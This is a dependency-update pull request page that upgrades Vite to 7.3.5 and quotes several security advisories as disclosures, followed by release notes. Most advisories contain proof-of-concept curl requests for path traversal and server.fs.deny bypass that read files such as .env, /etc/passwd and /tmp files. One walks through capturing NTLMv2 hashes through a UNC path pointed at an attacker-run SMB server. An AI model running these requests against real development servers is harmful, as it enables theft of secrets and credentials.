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This PR contains the following updates:

Package Change Age Confidence
vite (source) 7.1.37.3.5 age confidence

Vite's server.fs settings were not applied to HTML files

CVE-2025-58752 / GHSA-jqfw-vq24-v9c3

More information

Details

Summary

Any HTML files on the machine were served regardless of the server.fs settings.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • appType: 'spa' (default) or appType: 'mpa' is used

This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.

Details

The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:

echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'

You will receive a 403 HTTP Response,  because everything in the secret_files directory is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'

You will receive the contents of secret_files/secret.html.

Severity

  • CVSS Score: 2.3 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Vite middleware may serve files starting with the same name with the public directory

CVE-2025-58751 / GHSA-g4jq-h2w9-997c

More information

Details

Summary

Files starting with the same name with the public directory were served bypassing the server.fs settings.

Impact

Only apps that match the following conditions are affected:

Details

The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.

In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.

Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with  "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
mkdir p
cd p
ln -s a b
cd ..
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js
echo  "secret" > private.txt
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/private.txt'

You will receive a 403 HTTP Response,  because private.txt is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/../private.txt'

You will receive the contents of private.txt.

Related links

Severity

  • CVSS Score: 2.3 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


vite allows server.fs.deny bypass via backslash on Windows

CVE-2025-62522 / GHSA-93m4-6634-74q7

More information

Details

Summary

Files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • running the dev server on Windows
Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is that fs.readFile('/foo.png/') loads /foo.png.

PoC
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173
image

Severity

  • CVSS Score: 6.0 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Vite: server.fs.deny bypassed with queries

CVE-2026-39364 / GHSA-v2wj-q39q-566r

More information

Details

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

Details

On the Vite dev server, files that should be blocked by server.fs.deny (e.g., .env, *.crt) can be retrieved with HTTP 200 responses when query parameters such as ?raw, ?import&raw, or ?import&url&inline are appended.

PoC
  1. Start the dev server: pnpm exec vite root --host 127.0.0.1 --port 5175 --strictPort
  2. Confirm that server.fs.deny is enforced (expect 403): curl -i http://127.0.0.1:5175/src/.env | head -n 20
    image
  3. Confirm that the same files can be retrieved with query parameters (expect 200):
    image

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Vite Vulnerable to Path Traversal in Optimized Deps .map Handling

CVE-2026-39365 / GHSA-4w7w-66w2-5vf9

More information

Details

Summary

Any files ending with .map even out side the project can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • have a sensitive content in files ending with .map and the path is predictable
Details

In Vite v7.3.1, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON.

PoC
  1. Create a minimal PoC sourcemap outside the project root
    cat > /tmp/poc.map <<'EOF'
    {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
    EOF
  2. Start the Vite dev server (example)
    pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080
  3. Confirm that direct /@&#8203;fs access is blocked by strict (returns 403)
    image
  4. Inject ../ segments under the optimized deps .map URL prefix to reach /tmp/poc.map
    image

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Vite Vulnerable to Arbitrary File Read via Vite Dev Server WebSocket

CVE-2026-39363 / GHSA-p9ff-h696-f583

More information

Details

Summary

server.fs check was not enforced to the fetchModule method that is exposed in Vite dev server's WebSocket.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • WebSocket is not disabled by server.ws: false

Arbitrary files on the server (development machine, CI environment, container, etc.) can be exposed.

Details

If it is possible to connect to the Vite dev server’s WebSocket without an Origin header, an attacker can invoke fetchModule via the custom WebSocket event vite:invoke and combine file://... with ?raw (or ?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., export default "...").

The access control enforced in the HTTP request path (such as server.fs.allow) is not applied to this WebSocket-based execution path.

PoC
  1. Start the dev server on the target
    Example (used during validation with this repository):

    pnpm -C playground/alias exec vite --host 0.0.0.0 --port 5173
  2. Confirm that access is blocked via the HTTP path (example: arbitrary file)

    curl -i 'http://localhost:5173/@&#8203;fs/etc/passwd?raw'

    Result: 403 Restricted (outside the allow list)
    image

  3. Confirm that the same file can be retrieved via the WebSocket path
    By connecting to the HMR WebSocket without an Origin header and sending a vite:invoke request that calls fetchModule with a file://... URL and ?raw, the file contents are returned as a JavaScript module.

image image

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


vite: server.fs.deny bypass on Windows alternate paths

CVE-2026-53571 / GHSA-fx2h-pf6j-xcff

More information

Details

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • the sensitive file exists in the allowed directories specified by server.fs.allow
  • either of:
    • the sensitive file exists in an NTFS volume
    • the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)
Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Access via browser at http://localhost:5173/.env::$DATA?raw
deecc1315123883cfd0f9c26a002845a

Example expected result:

  • /.env::$DATA?raw returns the contents of .env
  • /tls.pem::$DATA?raw returns the contents of tls.pem

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows

CVE-2026-53632 / GHSA-v6wh-96g9-6wx3

More information

Details

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

  • using Windows
  • NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
  • the user accesses the attackers website that sends request to a middleware using launch-editor
  • the server that has the middleware using launch-editor is running
  • the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

2026-01-30_10-58

Severity

  • CVSS Score: 5.5 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

vitejs/vite (vite)

v7.3.5

Compare Source

Please refer to CHANGELOG.md for details.

v7.3.3

Compare Source

Please refer to CHANGELOG.md for details.

v7.3.2

Compare Source

Please refer to CHANGELOG.md for details.

v7.3.1

Compare Source

Please refer to CHANGELOG.md for details.

v7.3.0

Compare Source

Please refer to CHANGELOG.md for details.

v7.2.7

Compare Source

v7.2.6

Compare Source

7.2.6 (2025-12-01)

v7.2.4

Compare Source

Bug Fixes

v7.2.3

Compare Source

Bug Fixes
Performance Improvements
Miscellaneous Chores

v7.2.2

Compare Source

Bug Fixes

v7.2.1

Compare Source

Bug Fixes
Code Refactoring

v7.2.0

Compare Source

Bug Fixes
  • css: fallback to sass when sass-embedded platform binary is missing (#​21002) (b1fd616)
  • module-runner: make getBuiltins response JSON serializable (#​21029) (ad5b3bf)
  • types: add undefined to optional properties for exactOptionalProperties type compatibility (#​21040) (2833c55)
Miscellaneous Chores

v7.1.12

Compare Source

Please refer to CHANGELOG.md for details.

v7.1.11

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Bug Fixes
Miscellaneous Chores
Code Refactoring
Build System

v7.1.10

Compare Source

Bug Fixes
Documentation
Miscellaneous Chores

v7.1.9

Compare Source

Reverts

v7.1.8

Compare Source

Bug Fixes
Documentation
Miscellaneous Chores

v7.1.7

Compare Source

Bug Fixes
  • build: fix ssr environment emitAssets: true when sharedConfigBuild: true (#​20787) (4c4583c)
  • client: use CSP nonce when rendering error overlay (#​20791) (9bc9d12)
  • deps: update all non-major dependencies (#​20811) (9f2247c)
  • glob: handle glob imports from folders starting with dot (#​20800) (105abe8)
  • hmr: trigger prune event when import is removed from non hmr module (#​20768) (9f32b1d)
  • hmr: wait for import.meta.hot.prune callbacks to complete before running other HMRs (#​20698) (98a3484)

v7.1.6

Compare Source

Bug Fixes
  • deps: update all non-major dependencies (#​20773) (88af2ae)
  • esbuild: inject esbuild helper functions with minified $ variables correctly (#​20761) (7e8e004)
  • fallback terser to main thread when nameCache is provided (#​20750) (a679a64)
  • types: strict env typings fail when skipLibCheck is false (#​20755) (cc54e29)
Miscellaneous Chores

v7.1.5

Compare Source

Bug Fixes

v7.1.4

Compare Source

Bug Fixes
Miscellaneous Chores
Code Refactoring

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Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff Package Supply Chain
Security
Vulnerability Quality Maintenance License
Updatedvite@​7.1.3 ⏵ 7.3.598 +1100 +318298 +2100

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@renovate renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 5059d86 to 36f87f4 Compare September 25, 2025 16:29
@renovate renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 36f87f4 to 30c5dac Compare October 20, 2025 20:33
@renovate renovate Bot changed the title chore(deps): update dependency vite to v7.1.5 [security] chore(deps): update dependency vite to v7.1.11 [security] Oct 20, 2025
@renovate renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 30c5dac to 94c4199 Compare November 10, 2025 18:43
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@renovate renovate Bot changed the title chore(deps): update dependency vite to v7.1.11 [security] chore(deps): update dependency vite to v7.1.11 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate renovate Bot deleted the renovate/npm-vite-vulnerability branch March 27, 2026 01:53
@renovate renovate Bot changed the title chore(deps): update dependency vite to v7.1.11 [security] - autoclosed chore(deps): update dependency vite to v7.1.11 [security] Mar 30, 2026
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@renovate renovate Bot changed the title chore(deps): update dependency vite to v7.1.11 [security] chore(deps): update dependency vite to v7.3.2 [security] Apr 6, 2026
@renovate renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 3e4c215 to f355ead Compare April 8, 2026 19:18
@renovate renovate Bot changed the title chore(deps): update dependency vite to v7.3.2 [security] chore(deps): update dependency vite to v7.3.2 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title chore(deps): update dependency vite to v7.3.2 [security] - autoclosed chore(deps): update dependency vite to v7.3.2 [security] Apr 27, 2026
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@renovate renovate Bot changed the title chore(deps): update dependency vite to v7.3.2 [security] chore(deps): update dependency vite to v7.3.5 [security] Jun 16, 2026
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